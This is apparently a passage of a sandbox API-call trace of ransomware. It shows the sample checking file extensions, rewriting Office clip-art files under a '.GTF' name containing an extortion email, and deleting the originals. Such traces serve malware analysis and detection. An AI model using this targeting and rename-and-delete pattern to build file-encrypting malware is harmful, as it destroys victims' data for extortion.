	[0086.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.932] lstrlenW (lpString=".xlsx") returned 5
	[0086.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.932] lstrlenW (lpString=".ppt") returned 4
	[0086.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.932] lstrlenW (lpString=".zip") returned 4
	[0086.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.932] lstrlenW (lpString=".rar") returned 4
	[0086.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.932] lstrlenW (lpString=".bz2") returned 4
	[0086.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.932] lstrlenW (lpString=".7z") returned 3
	[0086.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.932] lstrlenW (lpString=".dbf") returned 4
	[0086.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.933] lstrlenW (lpString=".1cd") returned 4
	[0086.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.933] lstrlenW (lpString=".jpg") returned 4
	[0086.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.933] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.933] lstrlenW (lpString="EN00902_.WMF") returned 12
	[0086.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.999] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=7944) returned 1
	[0086.999] CloseHandle (hObject=0x368) returned 1
	[0086.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220
	[0087.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0087.000] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.000] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.035] GetLastError () returned 0x0
	[0087.035] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1f08, lpOverlapped=0x0) returned 1
	[0087.504] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1f10, lpOverlapped=0x0) returned 1
	[0087.505] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.505] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.505] SetEndOfFile (hFile=0x390) returned 1
	[0087.506] CloseHandle (hObject=0x390) returned 1
	[0087.506] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.506] SetEndOfFile (hFile=0x368) returned 1
	[0087.506] CloseHandle (hObject=0x368) returned 1
	[0087.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1
	[0087.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0087.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0087.507] lstrlenW (lpString=".doc") returned 4
	[0087.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.507] lstrlenW (lpString=".docx") returned 5
	[0087.507] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.507] lstrlenW (lpString=".pdf") returned 4
	[0087.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.507] lstrlenW (lpString=".xls") returned 4
	[0087.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.507] lstrlenW (lpString=".xlsx") returned 5
	[0087.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.507] lstrlenW (lpString=".ppt") returned 4
	[0087.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0087.507] lstrlenW (lpString=".zip") returned 4
	[0087.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.507] lstrlenW (lpString=".rar") returned 4
	[0087.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.507] lstrlenW (lpString=".bz2") returned 4
	[0087.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.507] lstrlenW (lpString=".7z") returned 3
	[0087.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0087.508] lstrlenW (lpString=".dbf") returned 4
	[0087.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0087.508] lstrlenW (lpString=".1cd") returned 4
	[0087.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0087.508] lstrlenW (lpString=".jpg") returned 4
	[0087.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0087.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0087.508] lstrlenW (lpString=".doc") returned 4
	[0087.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.508] lstrlenW (lpString=".docx") returned 5
	[0087.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.508] lstrlenW (lpString=".pdf") returned 4
	[0087.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.508] lstrlenW (lpString=".xls") returned 4
	[0087.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.508] lstrlenW (lpString=".xlsx") returned 5
	[0087.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.508] lstrlenW (lpString=".ppt") returned 4
	[0087.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0087.508] lstrlenW (lpString=".zip") returned 4
	[0087.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.508] lstrlenW (lpString=".rar") returned 4
	[0087.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.508] lstrlenW (lpString=".bz2") returned 4
	[0087.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.508] lstrlenW (lpString=".7z") returned 3
	[0087.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0087.508] lstrlenW (lpString=".dbf") returned 4
	[0087.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0087.509] lstrlenW (lpString=".1cd") returned 4
	[0087.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0087.509] lstrlenW (lpString=".jpg") returned 4
	[0087.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.509] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.509] lstrlenW (lpString="FD00403_.WMF") returned 12
	[0087.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0087.509] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=7878) returned 1
	[0087.509] CloseHandle (hObject=0x368) returned 1
	[0087.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220
	[0087.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0087.509] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.510] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.510] GetLastError () returned 0x0
	[0087.510] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1ec6, lpOverlapped=0x0) returned 1
	[0087.539] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1ed0, lpOverlapped=0x0) returned 1
	[0087.540] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.540] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.540] SetEndOfFile (hFile=0x390) returned 1
	[0087.540] CloseHandle (hObject=0x390) returned 1
	[0087.540] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.540] SetEndOfFile (hFile=0x368) returned 1
	[0087.541] CloseHandle (hObject=0x368) returned 1
	[0087.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1
	[0087.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.542] lstrlenW (lpString=".doc") returned 4
	[0087.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.542] lstrlenW (lpString=".docx") returned 5
	[0087.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.542] lstrlenW (lpString=".pdf") returned 4
	[0087.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.542] lstrlenW (lpString=".xls") returned 4
	[0087.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.542] lstrlenW (lpString=".xlsx") returned 5
	[0087.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.542] lstrlenW (lpString=".ppt") returned 4
	[0087.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.542] lstrlenW (lpString=".zip") returned 4
	[0087.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.542] lstrlenW (lpString=".rar") returned 4
	[0087.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.542] lstrlenW (lpString=".bz2") returned 4
	[0087.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.542] lstrlenW (lpString=".7z") returned 3
	[0087.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.542] lstrlenW (lpString=".dbf") returned 4
	[0087.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.542] lstrlenW (lpString=".1cd") returned 4
	[0087.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.542] lstrlenW (lpString=".jpg") returned 4
	[0087.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.543] lstrlenW (lpString=".doc") returned 4
	[0087.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.543] lstrlenW (lpString=".docx") returned 5
	[0087.543] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.543] lstrlenW (lpString=".pdf") returned 4
	[0087.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.543] lstrlenW (lpString=".xls") returned 4
	[0087.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.543] lstrlenW (lpString=".xlsx") returned 5
	[0087.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.543] lstrlenW (lpString=".ppt") returned 4
	[0087.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.543] lstrlenW (lpString=".zip") returned 4
	[0087.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.543] lstrlenW (lpString=".rar") returned 4
	[0087.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.543] lstrlenW (lpString=".bz2") returned 4
	[0087.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.543] lstrlenW (lpString=".7z") returned 3
	[0087.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.543] lstrlenW (lpString=".dbf") returned 4
	[0087.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.543] lstrlenW (lpString=".1cd") returned 4
	[0087.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0087.543] lstrlenW (lpString=".jpg") returned 4
	[0087.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.544] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.544] lstrlenW (lpString="FD00419_.WMF") returned 12
	[0087.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0087.545] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=16396) returned 1
	[0087.545] CloseHandle (hObject=0x368) returned 1
	[0087.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220
	[0087.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0087.545] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.545] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.546] GetLastError () returned 0x0
	[0087.546] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x400c, lpOverlapped=0x0) returned 1
	[0087.548] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x4010, lpOverlapped=0x0) returned 1
	[0087.549] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.549] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.549] SetEndOfFile (hFile=0x390) returned 1
	[0087.549] CloseHandle (hObject=0x390) returned 1
	[0087.549] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.549] SetEndOfFile (hFile=0x368) returned 1
	[0087.550] CloseHandle (hObject=0x368) returned 1
	[0087.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1
	[0087.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.551] lstrlenW (lpString=".doc") returned 4
	[0087.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.551] lstrlenW (lpString=".docx") returned 5
	[0087.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.551] lstrlenW (lpString=".pdf") returned 4
	[0087.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.551] lstrlenW (lpString=".xls") returned 4
	[0087.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.551] lstrlenW (lpString=".xlsx") returned 5
	[0087.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.551] lstrlenW (lpString=".ppt") returned 4
	[0087.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.551] lstrlenW (lpString=".zip") returned 4
	[0087.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.551] lstrlenW (lpString=".rar") returned 4
	[0087.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.551] lstrlenW (lpString=".bz2") returned 4
	[0087.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.551] lstrlenW (lpString=".7z") returned 3
	[0087.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.551] lstrlenW (lpString=".dbf") returned 4
	[0087.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.551] lstrlenW (lpString=".1cd") returned 4
	[0087.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.551] lstrlenW (lpString=".jpg") returned 4
	[0087.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.551] lstrlenW (lpString=".doc") returned 4
	[0087.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.552] lstrlenW (lpString=".docx") returned 5
	[0087.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.552] lstrlenW (lpString=".pdf") returned 4
	[0087.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
